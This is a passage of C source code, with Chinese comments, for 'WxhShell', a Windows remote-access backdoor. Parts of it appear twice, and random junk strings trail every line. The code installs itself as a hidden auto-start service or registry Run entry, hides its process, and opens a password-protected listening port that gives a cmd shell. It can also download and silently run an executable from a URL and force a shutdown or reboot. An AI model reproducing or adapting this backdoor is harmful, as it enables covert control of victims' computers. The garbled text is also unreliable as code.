    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #>dfP"}&,  
    else { gbM#jhQ  
    closesocket(wsh); }OgzSnR  
    ExitThread(0); IF%^H K@  
    } 3 <RkUmR  
    break; LJDX6]4n  
    } QN:gSS{30  
  // 获取shell Ks:~Z9r}  
  case 's': { qlmz@kTb  
    CmdShell(wsh); iD#HB o  
    closesocket(wsh); C"_f3[Z  
    ExitThread(0); 8P.UB{QNe  
    break; X6%w6%su5  
  } [TvH7ott'1  
  // 退出 n!~mdI&  
  case 'x': { pzmm cjEC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \](IBI:  
    CloseIt(wsh); O{rgx~lLJt  
    break; [R-4e; SRh  
    } kVE% "  
  // 离开 5fPYtVm  
  case 'q': { 12v5*G[X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ivsp):W  
    closesocket(wsh); ~` v 7  
    WSACleanup(); @kC>+4s!  
    exit(1); >K**SjVG  
    break; RX:wt  
        } H[?~u+  
  } ja*k\w{U'  
  } tJo,^fdfv  
zd AqGQfc  
  // 提示信息 GJW+'-f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9qkH~B7  
} V`?2g_4N  
  } Z{RRhJ  
mz;S*ONlV  
  return; xcr=AhqM  
} q/~U[.C  
SHS:>V  
// shell模块句柄 o B;EP  
int CmdShell(SOCKET sock) L {(\k$>'  
{ ^l;nBD#nJ  
STARTUPINFO si; Z<6xQTx  
ZeroMemory(&si,sizeof(si)); Vd^_4uqnV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b}4k-hZL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  Hi#'h  
PROCESS_INFORMATION ProcessInfo; 2GQ q(_  
char cmdline[]="cmd"; VQF!|*#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B4 5B`Ay  
  return 0; Y\luz`v  
} &n+3^JNl  
j%Mz;m4y  
// 自身启动模式 pvM;2  
int StartFromService(void) :L<$O7  
{ i|+ EC_^<  
typedef struct 8`}(N^=}  
{ Z\6&5r=  
  DWORD ExitStatus; -=,%9r  
  DWORD PebBaseAddress; [?$ZB),L8  
  DWORD AffinityMask; 0 ;kcSz  
  DWORD BasePriority; Z)Y--`*  
  ULONG UniqueProcessId; -Qx:-,.a  
  ULONG InheritedFromUniqueProcessId; 50% |9D0?Y  
}   PROCESS_BASIC_INFORMATION; !U.Xb6  
6T{Zee  
PROCNTQSIP NtQueryInformationProcess; Z#YkAQHv5  
! )$ PD@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O~F/{: U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R>H*MvN  
<r]7xsr  
  HANDLE             hProcess; 2f(5C*~  
  PROCESS_BASIC_INFORMATION pbi; o8\@R  
_l,?Y;OF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c\~H_ ~F  
  if(NULL == hInst ) return 0; *%_:[>  
Q/r0p>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R< @o]p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e:}8|e~T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q#P=t83  
qR0V\OtgY~  
  if (!NtQueryInformationProcess) return 0; -C.x;@!k  
qp (ng 8%c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (UmoG  
  if(!hProcess) return 0; GczGW4\P'  
U*F|Z4{W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; INSI$tA~  
fo~8W`H&  
  CloseHandle(hProcess); <e"O`*ZJ  
yO.3~H)c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +;SQ }[  
if(hProcess==NULL) return 0; o<P@:}K  
:Z(?Ct&8  
HMODULE hMod; |5)~WoV/G  
char procName[255]; Srj%6rgsB  
unsigned long cbNeeded; k^AI7H  
)\_xB_K\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yA_;\\  
9i@AOU  
  CloseHandle(hProcess); -e7|DXj  
Knsb`1"E^6  
if(strstr(procName,"services")) return 1; // 以服务启动 b9%}< w  
Pm; /Ua  
  return 0; // 注册表启动 5(bG  
} cC w,b]  
pj>b6^TI6C  
// 主模块 'Ht$LqG  
int StartWxhshell(LPSTR lpCmdLine) )BNm~sP  
{ Q(h,P+  
  SOCKET wsl; F^b C!;~x  
BOOL val=TRUE; {V%ZOdg9  
  int port=0; Ib.`2@ o&  
  struct sockaddr_in door; 'JY*K:-  
U I|L;5  
  if(wscfg.ws_autoins) Install(); D.xN_NK"  
_ b}\h,Ky  
port=atoi(lpCmdLine); =BJ/ZM  
~a m]G0  
if(port<=0) port=wscfg.ws_port; )l*H$8  
}/BwFB+(/  
  WSADATA data; ?TLEZlB2"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0(#HMBE8  
pHFlO!#]|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *)"U5A/v)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R-]QU`c  
  door.sin_family = AF_INET; _H@s^g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dj4 g  
  door.sin_port = htons(port); {;^boo q  
Us.yKAHPV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vFY/o,b \  
closesocket(wsl); pW O-YZ#+  
return 1; =Xzqp,  
} f ^mxj/%L  
YXXUYi~!f  
  if(listen(wsl,2) == INVALID_SOCKET) { Z:aDKAboU  
closesocket(wsl); nMc3.fM  
return 1; Mh'QD)28c  
} I2("p.+R  
  Wxhshell(wsl); 8yax.N j  
  WSACleanup(); qT#+DDEAL  
f|Kd{ $VO  
return 0; 65AXUTg  
U,)Ngnd  
} _v4TyJ  
_=B(jJZ   
// 以NT服务方式启动 ?@Z~i]gE[V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mH*42XC*  
{ b,5H|$nLu  
DWORD   status = 0; d+~c$(M)  
  DWORD   specificError = 0xfffffff; VBR@f<2L  
;5#P?   
  serviceStatus.dwServiceType     = SERVICE_WIN32; hZI9*= `,"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a{Y:hrd:Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;&e5.K+.Z  
  serviceStatus.dwWin32ExitCode     = 0; VuFM jY  
  serviceStatus.dwServiceSpecificExitCode = 0; LfyycC2E  
  serviceStatus.dwCheckPoint       = 0; !;lA+O-t  
  serviceStatus.dwWaitHint       = 0; //KTEAYyy#  
!.iu_xJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H7G*Vg  
  if (hServiceStatusHandle==0) return; mn\e(WoX  
KrVF>bq+  
status = GetLastError(); ',8]vWsl  
  if (status!=NO_ERROR) isHa4 D0  
{ oju/%ieh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W-=~Afy  
    serviceStatus.dwCheckPoint       = 0; ^te9f%>$l  
    serviceStatus.dwWaitHint       = 0; m}6GVQ'Q  
    serviceStatus.dwWin32ExitCode     = status; r S/Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; }aXc,;Ps  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hd9fD[5  
    return; AM##:4   
  } yXY8 o E  
e%x$Cb:znn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0 sVCTJ@  
  serviceStatus.dwCheckPoint       = 0; zm2&\8J  
  serviceStatus.dwWaitHint       = 0; #QZg{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Eag->mw/~  
} KJ,{w?p~ )  
<;#d*&]  
// 处理NT服务事件,比如:启动、停止 $y\'j5nk3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t-dN:1  
{ JXBW0|8b  
switch(fdwControl) Q`g0g)3w  
{ GB\.msls  
case SERVICE_CONTROL_STOP: ,!kqEIp%  
  serviceStatus.dwWin32ExitCode = 0; nlH H}K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jnt0,y A  
  serviceStatus.dwCheckPoint   = 0; 2|tZ xlt-  
  serviceStatus.dwWaitHint     = 0; n?&G>`u*  
  { x '3<F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fS-#dJC";`  
  } !40{1U&@a`  
  return; LYGFE jS[  
case SERVICE_CONTROL_PAUSE: V!c{%zd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 82Nh;5T r  
  break; r$;DA<<|<c  
case SERVICE_CONTROL_CONTINUE: .qy._C2(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w|>:mQnU  
  break; ?A(=%c|,g  
case SERVICE_CONTROL_INTERROGATE: )H S|pS:  
  break; wGd8q xa  
}; ({Fus@/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "vH@b_>9|  
} {i~qm4+o  
z|}Anc[\  
// 标准应用程序主函数 eL^,-3JA(]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~t<BZu  
{ cG?RisSZ  
e x $d~  
// 获取操作系统版本 &xr?yd  
OsIsNt=GetOsVer(); )Be}Ev#)Zx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IyOujdKa  
?Z( 6..&  
  // 从命令行安装 dSsMa3X[n  
  if(strpbrk(lpCmdLine,"iI")) Install(); zi2hi9A  
#$K\:V+ 4  
  // 下载执行文件 P`[6IS#\S  
if(wscfg.ws_downexe) { #1z}~1-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $]\N/}1v  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]5x N^7_!j  
} KmEm  
7\JRHw  
if(!OsIsNt) { p}R)qz-=5U  
// 如果时win9x,隐藏进程并且设置为注册表启动 PLg`\|  
HideProc(); `zC_?+  
StartWxhshell(lpCmdLine); p4<&NMG  
} )oG_x{  
else |?V6__9  
  if(StartFromService()) T$GhE  
  // 以服务方式启动 r4Pm i  
  StartServiceCtrlDispatcher(DispatchTable); 3?Bq((  
else vwZ2kk!|i  
  // 普通方式启动 qB3 SQ:y  
  StartWxhshell(lpCmdLine); [>;U1Wt  
RNcHU  
return 0; bY+Hf\A  
} }_3<Q\j  
JmWN/mx  
lj@c"Yrk  
LEc%BQx  
=========================================== 1 W2AE?  
Nk86Y2h  
p[hA?dXn  
n8A*Y3~R  
+_06{7@h  
B2 Tp;)  
" 1A< O Z>  
z]=A3!H/Y  
#include <stdio.h> /0!6;PC<  
#include <string.h> Jmf&&)p  
#include <windows.h> TaG'?  
#include <winsock2.h> 3@KX|-  
#include <winsvc.h> @4T+0&OI10  
#include <urlmon.h> vxZvK0b620  
'RTz*CSZ  
#pragma comment (lib, "Ws2_32.lib") ZR6KE_  
#pragma comment (lib, "urlmon.lib") &0K H00l  
4B-v\3Ff  
#define MAX_USER   100 // 最大客户端连接数 j?g{*M  
#define BUF_SOCK   200 // sock buffer wCkhE,#-_  
#define KEY_BUFF   255 // 输入 buffer JDD(e_dw  
dW,$yH_  
#define REBOOT     0   // 重启 opjrU$<]N  
#define SHUTDOWN   1   // 关机 \.9-:\'(  
%z`bu2  
#define DEF_PORT   5000 // 监听端口 <{3VK  
:I+%v  
#define REG_LEN     16   // 注册表键长度 fHb0pp\[.  
#define SVC_LEN     80   // NT服务名长度 Y=x]'3}^  
7zgU>$i  
// 从dll定义API .^l;3*X@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); or]8;eQ?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B<H5WI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }a'8lwF%I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W _yVVr  
(VWTYG7  
// wxhshell配置信息 U:#9!J?41  
struct WSCFG { mUm9[X~'  
  int ws_port;         // 监听端口 @;G}bYq^(I  
  char ws_passstr[REG_LEN]; // 口令 Tr(w~et  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3E+u)f lmB  
  char ws_regname[REG_LEN]; // 注册表键名 :p=IZY  
  char ws_svcname[REG_LEN]; // 服务名 PE]jYyyHtU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jQj`GnN|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ds4ERe /  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iU~oPp[e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Zc{at}{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {O]Cj~}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DKF`uRvGN:  
<lB^>Hfu  
}; oZmni9*SD  
ORA +>  
// default Wxhshell configuration 2J|Wbey  
struct WSCFG wscfg={DEF_PORT, p3\F1](Z  
    "xuhuanlingzhe", e#0R9+"Ba  
    1, /$%apci8  
    "Wxhshell", ]}w ~fjq  
    "Wxhshell", {Tm31f(oD  
            "WxhShell Service", L V?- g  
    "Wrsky Windows CmdShell Service", =Mc*~[D/  
    "Please Input Your Password: ", MJt?^G (w?  
  1, ^^{K[sLB  
  "http://www.wrsky.com/wxhshell.exe", k129)79  
  "Wxhshell.exe" vO&%sjvH  
    }; aHXd1\6m  
tOn/r@Fd^E  
// 消息定义模块 4Bd[r7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2VrF~+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A]WU*GL2H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Zyu4!  
char *msg_ws_ext="\n\rExit."; Eii)zo8Xd  
char *msg_ws_end="\n\rQuit."; `$AX!,<!G  
char *msg_ws_boot="\n\rReboot..."; W+cmn)8  
char *msg_ws_poff="\n\rShutdown..."; DKPX_::  
char *msg_ws_down="\n\rSave to "; O< v0{z09*  
l7ZqkGG]  
char *msg_ws_err="\n\rErr!"; cDYKvrPY  
char *msg_ws_ok="\n\rOK!"; BB.^-0up  
cE$<6&0  
char ExeFile[MAX_PATH]; ^{DXin 1O`  
int nUser = 0; sPyq.oG  
HANDLE handles[MAX_USER]; _Qt  
int OsIsNt; VWj]X7v  
lSPQXu*[  
SERVICE_STATUS       serviceStatus; [GyW1-p33w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YiTiJ9jf  
\3"4;fM!i  
// 函数声明 U,gg@!1GJo  
int Install(void); D8m1:kU  
int Uninstall(void); ~5N0=)  
int DownloadFile(char *sURL, SOCKET wsh); rFh!&_  
int Boot(int flag); -v/1R1$e1  
void HideProc(void); Ovxs+mQ  
int GetOsVer(void); [1F.   
int Wxhshell(SOCKET wsl); k-Hy>5;  
void TalkWithClient(void *cs);  Eh^c4x  
int CmdShell(SOCKET sock); -lQ8 &eB  
int StartFromService(void); t3}>5cAxy  
int StartWxhshell(LPSTR lpCmdLine); ",k"c}3G  
yTm/P!1S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XT9]+b8(M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Sp]"Xr)  
,,sKPj[  
// 数据结构和表定义 6U Q~Fv`]  
SERVICE_TABLE_ENTRY DispatchTable[] = 4QARrG%  
{ e4fh<0gX  
{wscfg.ws_svcname, NTServiceMain}, 2-s ,PQno^  
{NULL, NULL} 6 6(|3DX  
}; i+ ]3J/J  
*39Y1+=)$$  
// 自我安装 3+%a  
int Install(void) S1p 4.qJ  
{ [_Fj2nb*  
  char svExeFile[MAX_PATH]; <U%4$83$  
  HKEY key; 8oK*NB29  
  strcpy(svExeFile,ExeFile); ?1T)cd*  
j^;f {0f  
// 如果是win9x系统,修改注册表设为自启动 oCg|* c|+  
if(!OsIsNt) { JfGU3d*c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -GJ~xcf0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~2PD%+e7]  
  RegCloseKey(key); s;Q0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `|)V]<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RZoSP(6  
  RegCloseKey(key); t6DgWKT6  
  return 0; j #G4A%_  
    } rE$0a-d2B  
  } 8s16yuM  
} BpBMFEiP  
else { ~_6~Fi  
cc- liY "  
// 如果是NT以上系统,安装为系统服务 />Kd w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6hp>w{+  
if (schSCManager!=0) O_OgTa  
{ p{ X?_F  
  SC_HANDLE schService = CreateService # 2;6!_  
  ( )lg>'O  
  schSCManager, +txFdc  
  wscfg.ws_svcname, 2n+tc  
  wscfg.ws_svcdisp, O$z XDxn  
  SERVICE_ALL_ACCESS, QiC}hj$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]s_,;PGU  
  SERVICE_AUTO_START, iga.B  
  SERVICE_ERROR_NORMAL, Nk?eVJ)  
  svExeFile, sB`.G  
  NULL, Vl'Gi44)3"  
  NULL, H c,e&R  
  NULL, w_qX~d/  
  NULL, V1di#i:  
  NULL o-i9 :AHs  
  ); .3>`yL  
  if (schService!=0) *ThP->&:(  
  { 4FQB%3>*  
  CloseServiceHandle(schService); *Tc lc u  
  CloseServiceHandle(schSCManager); e_=TkG1E6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); StLFq6BO  
  strcat(svExeFile,wscfg.ws_svcname); O{^8dwg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~H`m"4zQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^G(U@-0..  
  RegCloseKey(key); =d`w~iC  
  return 0; MTXh-9DA  
    } ^E~F,]dV=  
  } 9`y@2/!Y  
  CloseServiceHandle(schSCManager); M`  V<`  
} Z<D8{&AjS  
} Xna58KF/  
g$f+X~Q  
return 1; BK 3oNDy  
} .w,$ TezGP  
"`Q &s  
// 自我卸载 Ui?iMtDr  
int Uninstall(void) ~(*2 :9*0  
{ \MqOHM.[  
  HKEY key; Jlp nR#@  
g'cLc5\  
if(!OsIsNt) { %\"<lyD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UahsX  
  RegDeleteValue(key,wscfg.ws_regname); ;n,xu0/  
  RegCloseKey(key); mqj]=Fq*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BSH2Kq  
  RegDeleteValue(key,wscfg.ws_regname); ?_ 476A  
  RegCloseKey(key); ci 4K Nv;  
  return 0; ~aPe?{yIUa  
  } f8e :J#jbS  
} sGFvSW  
} %>'Zy6C<j  
else { _=Z?5{7S >  
`6y=ky.,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S5o,\wT  
if (schSCManager!=0) eWWqK9B.-  
{ ] M`%@ps  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qP{Fwn  
  if (schService!=0) 7+9o<j@@o  
  { HK NT. a  
  if(DeleteService(schService)!=0) { gFpub_  
  CloseServiceHandle(schService); "?%2`*\  
  CloseServiceHandle(schSCManager); xO[V>Ud  
  return 0;  T<oDLJA\  
  } S-'R84M,F  
  CloseServiceHandle(schService); mF:Pplf<  
  } =U7P\s w2  
  CloseServiceHandle(schSCManager); NC%96gfD  
} 60TM!\  
} <$(y6+lY  
}1 ,\ *)5  
return 1; .^dtdFZ8,  
} \&_pI2X  
po\(O8#5U  
// 从指定url下载文件 `=V p 0tPI  
int DownloadFile(char *sURL, SOCKET wsh) k?Kt*T  
{ 7Q^p|;~a  
  HRESULT hr; brCXimG&jo  
char seps[]= "/"; t!-\:8n  
char *token; {o SdVRI  
char *file; 6l'J!4*qY  
char myURL[MAX_PATH]; U ,NGV0  
char myFILE[MAX_PATH]; 6(=B`Z}a  
fUMjLA|*I<  
strcpy(myURL,sURL); iGPrWe@.  
  token=strtok(myURL,seps); OxQ5P;O  
  while(token!=NULL) &V| kv"Wwj  
  { w_h{6Kc<  
    file=token; |k$6"dXSO  
  token=strtok(NULL,seps); oN2#Jh%dH  
  } xkCM*5:  
/!?b&N/d)  
GetCurrentDirectory(MAX_PATH,myFILE); \o*w#e[M  
strcat(myFILE, "\\"); qjObu\r  
strcat(myFILE, file); ~R&rQJJeJ  
  send(wsh,myFILE,strlen(myFILE),0); :.9Y  
send(wsh,"...",3,0); U&i#cF   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z`_x|cU?J  
  if(hr==S_OK) s"@}^ )*}  
return 0; 4a0Ud !Qcs  
else ~&?57Sw*m  
return 1; 2vTO>*t  
2?Y8hm  
} qV9}N-sS  
$PG(>1e  
// 系统电源模块 Qs '_\|/-  
int Boot(int flag) v w 6$v  
{ `dw">z,  
  HANDLE hToken; -4[eZ>$A|  
  TOKEN_PRIVILEGES tkp; 4E2#krE%  
(gnN </%  
  if(OsIsNt) { Atb`Q'Yrw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K@<*m!%<2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _TLspqi  
    tkp.PrivilegeCount = 1; Nw9@E R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E[WU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #.rkvoB0N  
if(flag==REBOOT) { kebk f,`p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) idB1%?<  
  return 0; eL>wKu:r  
} p5jR;nOZ%l  
else { !E&l=* lM.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F?$Vx)HI  
  return 0; vf zC2  
} j,Mbl"P  
  } [[HCP8Wk   
  else { B{b?j*fHJ  
if(flag==REBOOT) { O:sqm n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O=t~.]))  
  return 0; ~5&B#Sm[G  
} #K0/ >W  
else { )!kt9lK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tA^+RO4  
  return 0; T$`m!mQ4  
} S{?l/*Il*_  
} Ell14Iki  
'z^'+}iyv  
return 1; xT+#K5  
} &c 2Qa  
 LtH j  
// win9x进程隐藏模块 r95 ,X!  
void HideProc(void) T ay226  
{ e/cHH3 4  
`+T 2IPN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HU'w[r 6a  
  if ( hKernel != NULL ) $@@ii+W}\  
  { 9i U/[d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'j*Q   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qH0JZdk  
    FreeLibrary(hKernel); %X's/;(Lx`  
  } sBYDo{0 1  
4evNZ Q  
return; @D=B5f@(o  
} k>F!S`a&m  
2Y%7.YX"  
// 获取操作系统版本 lX%-oRQ/os  
int GetOsVer(void) sVr|kvn2  
{ +_ /ys!  
  OSVERSIONINFO winfo; L){V(*K '  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xe^M2$clb\  
  GetVersionEx(&winfo); F53 .g/[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g0"xG}d  
  return 1; <p CD>  
  else p6NPWaBR  
  return 0; unc6 V%  
} yZ{N$ch5b  
p:4-b"O  
// 客户端句柄模块 ? A;RTM  
int Wxhshell(SOCKET wsl)  ZB |s/  
{ h<)ceD<,  
  SOCKET wsh; qE3Ud:j  
  struct sockaddr_in client; ]zVQL_%,  
  DWORD myID; .?rs5[th*  
'zav%}b]L  
  while(nUser<MAX_USER) +'SL5d*  
{ 8G3 Z,8P4(  
  int nSize=sizeof(client); 1) K<x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x${C[gxq9F  
  if(wsh==INVALID_SOCKET) return 1; L-)ZjXzk  
jJw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p[o]ouTcS  
if(handles[nUser]==0) jygUf|  
  closesocket(wsh); eI:x4K,#  
else ]KEE+o  
  nUser++; Ky7.&6\n  
  } Q|P M6ta  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4W|cIcU W  
@{#'y4\>  
  return 0; dl[%C6  
} 7FkiT  
iDX<`)  
// 关闭 socket n|?sNM<J3  
void CloseIt(SOCKET wsh) OM^`P  
{ =$+0p3[r  
closesocket(wsh); n:B){'S  
nUser--; A W6B[  
ExitThread(0); g33Y$Xdk  
} w)* H&8h@  
=BN<)f^*s  
// 客户端请求句柄 +|b#|>6  
void TalkWithClient(void *cs) 6w? GeJ  
{ ^V1\boo=  
g]JRAM  
  SOCKET wsh=(SOCKET)cs; GFE3p  
  char pwd[SVC_LEN]; GOGS"q  
  char cmd[KEY_BUFF]; Tc!n@!RA|  
char chr[1]; *~4<CP+"0  
int i,j; ~8 UMwpl-  
l%('5oz@\  
  while (nUser < MAX_USER) { \1&4wzT  
{>vgtkJ  
if(wscfg.ws_passstr) { @aN~97 H\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F'>yBDm*OM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %).I &)i  
  //ZeroMemory(pwd,KEY_BUFF); AX&Emz-  
      i=0; #g@4c3um|  
  while(i<SVC_LEN) { >TM{2b,(p  
[O'aka Q  
  // 设置超时 Y@k=m )zE  
  fd_set FdRead; _-H,S)kI`  
  struct timeval TimeOut; Vt \g9-[  
  FD_ZERO(&FdRead); =jh^mD&'  
  FD_SET(wsh,&FdRead); 9{ge U9&Z  
  TimeOut.tv_sec=8; nh0gT>a>@  
  TimeOut.tv_usec=0; <+r~?X_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8+7*> FD)1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RTvOaZ  
Ac{TqiIv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^b~ZOg[p  
  pwd=chr[0]; UroC8Tm  
  if(chr[0]==0xd || chr[0]==0xa) { 2"|7 YI  
  pwd=0; #@w/S:KbJt  
  break; pYm#iz  
  } 7O%^4D  
  i++; ooB9i No^  
    } =`>ei  
6:8Nz   
  // 如果是非法用户,关闭 socket >'=9sCi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %Qb}z@>fJk  
} D3,)H%5.y  
jTNt!2 :B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Het>G{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6C<GYzzo  
%XBTN  
while(1) { N"RPCd_  
XYD-5pG  
  ZeroMemory(cmd,KEY_BUFF); J#j3?qrxu  
Q(Q?L5  
      // 自动支持客户端 telnet标准   7LM&3mA<  
  j=0; Gg GjBt  
  while(j<KEY_BUFF) { -R1;(n)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gaNe\  
  cmd[j]=chr[0]; _,v?rFLE  
  if(chr[0]==0xa || chr[0]==0xd) { +t*I{X(  
  cmd[j]=0; uit.r^8l  
  break; 3?`TEw~'  
  } IY[qWs  
  j++; @*L-lx  
    } i"Hc(lg  
A7XA?>~+|  
  // 下载文件 A.7lo  
  if(strstr(cmd,"http://")) { e2tru_#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?IS[2 v$   
  if(DownloadFile(cmd,wsh)) +_vf=d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =zrfh-lwH  
  else @c"s6h&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eHGx00:  
  } qf ]le]J  
  else { xzfugW  
XV4aR3n{Q  
    switch(cmd[0]) { }X=c|]6i^  
